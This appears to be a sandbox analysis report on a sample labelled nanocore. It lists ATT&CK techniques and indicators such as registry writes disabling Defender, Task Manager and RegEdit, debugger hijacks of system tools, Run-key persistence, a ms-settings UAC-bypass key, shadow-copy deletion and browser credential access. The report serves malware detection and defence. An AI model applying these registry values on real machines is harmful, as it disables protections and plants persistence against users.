nanocore | 04e9af1ea4bd92739913ed61a273799997cd48878439dd6eb4f43d0e316b7b05

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilactv.work_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
424	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilactv.work_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilactv.work_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2684	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	xoilactv.work_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	xoilactv.work_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	xoilactv.work_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4968	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	xoilactv.work_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilactv.work_chrome.exe
File created	C:\Windows\system32\svchost.exe	xoilactv.work_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5728	wscript.exe
4184	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilactv.work_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2164	sc.exe
2208	sc.exe
3336	sc.exe
3328	sc.exe
2924	sc.exe
5724	sc.exe
3764	sc.exe
4940	sc.exe
2076	sc.exe
1060	sc.exe
5124	sc.exe
2224	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2764	cmd.exe
5484	cmd.exe
3388	cmd.exe
2964	cmd.exe
4256	cmd.exe
3788	cmd.exe
5752	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2620	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1280	ipconfig.exe
1936	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1980	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2876	vssadmin.exe
1468	vssadmin.exe
4696	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilactv.work_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302848380486498"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	xoilactv.work_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	xoilactv.work_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilactv.work_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	xoilactv.work_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	xoilactv.work_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe"	xoilactv.work_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	xoilactv.work_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.work_chrome.exe\" \"%1\""	xoilactv.work_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	xoilactv.work_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	xoilactv.work_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	xoilactv.work_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactv.work_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilactv.work_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2704	schtasks.exe
3684	schtasks.exe
5020	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2264	chrome.exe
2264	chrome.exe
424	powershell.exe
424	powershell.exe
424	powershell.exe
1272	WMIC.exe
1272	WMIC.exe
1272	WMIC.exe
1272	WMIC.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
1812	WMIC.exe
1812	WMIC.exe
1812	WMIC.exe
1812	WMIC.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe
2560	xoilactv.work_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2560	xoilactv.work_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeDebugPrivilege	424	powershell.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeSecurityPrivilege	1272	WMIC.exe
Token: SeTakeOwnershipPrivilege	1272	WMIC.exe
Token: SeLoadDriverPrivilege	1272	WMIC.exe
Token: SeSystemProfilePrivilege	1272	WMIC.exe
Token: SeSystemtimePrivilege	1272	WMIC.exe
Token: SeProfSingleProcessPrivilege	1272	WMIC.exe
Token: SeIncBasePriorityPrivilege	1272	WMIC.exe
Token: SeCreatePagefilePrivilege	1272	WMIC.exe
Token: SeBackupPrivilege	1272	WMIC.exe
Token: SeRestorePrivilege	1272	WMIC.exe
Token: SeShutdownPrivilege	1272	WMIC.exe
Token: SeDebugPrivilege	1272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1272	WMIC.exe
Token: SeRemoteShutdownPrivilege	1272	WMIC.exe
Token: SeUndockPrivilege	1272	WMIC.exe
Token: SeManageVolumePrivilege	1272	WMIC.exe
Token: 33	1272	WMIC.exe
Token: 34	1272	WMIC.exe
Token: 35	1272	WMIC.exe
Token: 36	1272	WMIC.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeBackupPrivilege	5584	vssvc.exe
Token: SeRestorePrivilege	5584	vssvc.exe
Token: SeAuditPrivilege	5584	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeSecurityPrivilege	1272	WMIC.exe
Token: SeTakeOwnershipPrivilege	1272	WMIC.exe
Token: SeLoadDriverPrivilege	1272	WMIC.exe
Token: SeSystemProfilePrivilege	1272	WMIC.exe
Token: SeSystemtimePrivilege	1272	WMIC.exe
Token: SeProfSingleProcessPrivilege	1272	WMIC.exe
Token: SeIncBasePriorityPrivilege	1272	WMIC.exe
Token: SeCreatePagefilePrivilege	1272	WMIC.exe
Token: SeBackupPrivilege	1272	WMIC.exe
Token: SeRestorePrivilege	1272	WMIC.exe
Token: SeShutdownPrivilege	1272	WMIC.exe
Token: SeDebugPrivilege	1272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1272	WMIC.exe
Token: SeRemoteShutdownPrivilege	1272	WMIC.exe
Token: SeUndockPrivilege	1272	WMIC.exe
Token: SeManageVolumePrivilege	1272	WMIC.exe
Token: 33	1272	WMIC.exe
Token: 34	1272	WMIC.exe
Token: 35	1272	WMIC.exe
Token: 36	1272	WMIC.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe
Token: SeShutdownPrivilege	2264	chrome.exe
Token: SeCreatePagefilePrivilege	2264	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe
2264	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2560	xoilactv.work_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 2264	2560	xoilactv.work_chrome.exe	89
PID 2264 wrote to memory of 5552	2264	chrome.exe	90
PID 2560 wrote to memory of 424	2560	xoilactv.work_chrome.exe	91
PID 2264 wrote to memory of 4352	2264	chrome.exe	95
PID 2264 wrote to memory of 2620	2264	chrome.exe	94
PID 2264 wrote to memory of 4352	2264	chrome.exe	95
PID 2560 wrote to memory of 2924	2560	xoilactv.work_chrome.exe	93
PID 2264 wrote to memory of 2120	2264	chrome.exe	96
PID 2264 wrote to memory of 2120	2264	chrome.exe	96
PID 2264 wrote to memory of 4608	2264	chrome.exe	99
PID 2264 wrote to memory of 4304	2264	chrome.exe	100
PID 2264 wrote to memory of 4608	2264	chrome.exe	99
PID 2264 wrote to memory of 4304	2264	chrome.exe	100
PID 2560 wrote to memory of 5724	2560	xoilactv.work_chrome.exe	101
PID 2264 wrote to memory of 1364	2264	chrome.exe	139
PID 2264 wrote to memory of 1364	2264	chrome.exe	139
PID 2560 wrote to memory of 2224	2560	xoilactv.work_chrome.exe	104
PID 2560 wrote to memory of 3764	2560	xoilactv.work_chrome.exe	175
PID 2560 wrote to memory of 4940	2560	xoilactv.work_chrome.exe	108
PID 2560 wrote to memory of 2076	2560	xoilactv.work_chrome.exe	110
PID 2560 wrote to memory of 1060	2560	xoilactv.work_chrome.exe	112
PID 2560 wrote to memory of 5124	2560	xoilactv.work_chrome.exe	114
PID 2560 wrote to memory of 5808	2560	xoilactv.work_chrome.exe	116
PID 2560 wrote to memory of 2164	2560	xoilactv.work_chrome.exe	117
PID 5808 wrote to memory of 1468	5808	fodhelper.exe	157
PID 2560 wrote to memory of 2208	2560	xoilactv.work_chrome.exe	120
